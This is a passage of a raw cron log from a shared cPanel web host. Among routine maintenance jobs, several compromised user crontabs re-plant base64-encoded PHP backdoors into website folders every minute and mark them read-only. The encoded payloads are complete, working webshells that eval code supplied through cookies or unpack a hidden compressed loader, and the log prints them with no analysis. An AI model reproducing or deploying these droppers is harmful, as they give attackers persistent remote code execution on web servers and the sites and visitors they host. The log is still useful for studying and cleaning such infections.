cG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:05:01 medusa CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:05:02 medusa CROND[18978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:05:02 medusa CROND[19012]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:05:02 medusa CROND[19013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:05:02 medusa CROND[19014]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:05:02 medusa CROND[19015]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:05:02 medusa CROND[19019]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19023]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:05:02 medusa CROND[19022]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19025]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:05:02 medusa CROND[19028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:05:02 medusa CROND[19026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19031]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:05:02 medusa CROND[19034]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:05:02 medusa CROND[19035]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:05:02 medusa CROND[19037]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:05:02 medusa CROND[19020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:05:02 medusa CROND[19046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19039]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:05:02 medusa CROND[19050]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:05:02 medusa CROND[19045]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:05:02 medusa CROND[19049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 15:06:02 medusa CROND[20935]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:06:02 medusa CROND[20938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:06:02 medusa CROND[20942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:06:02 medusa CROND[20943]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:06:02 medusa CROND[20944]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:06:02 medusa CROND[20945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:06:02 medusa CROND[20946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:06:02 medusa CROND[20947]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:06:02 medusa CROND[20948]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:06:02 medusa CROND[20953]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:06:02 medusa CROND[20952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:06:02 medusa CROND[20961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:06:02 medusa CROND[20962]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:06:02 medusa CROND[20963]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:06:02 medusa CROND[20975]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:07:01 medusa CROND[23010]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
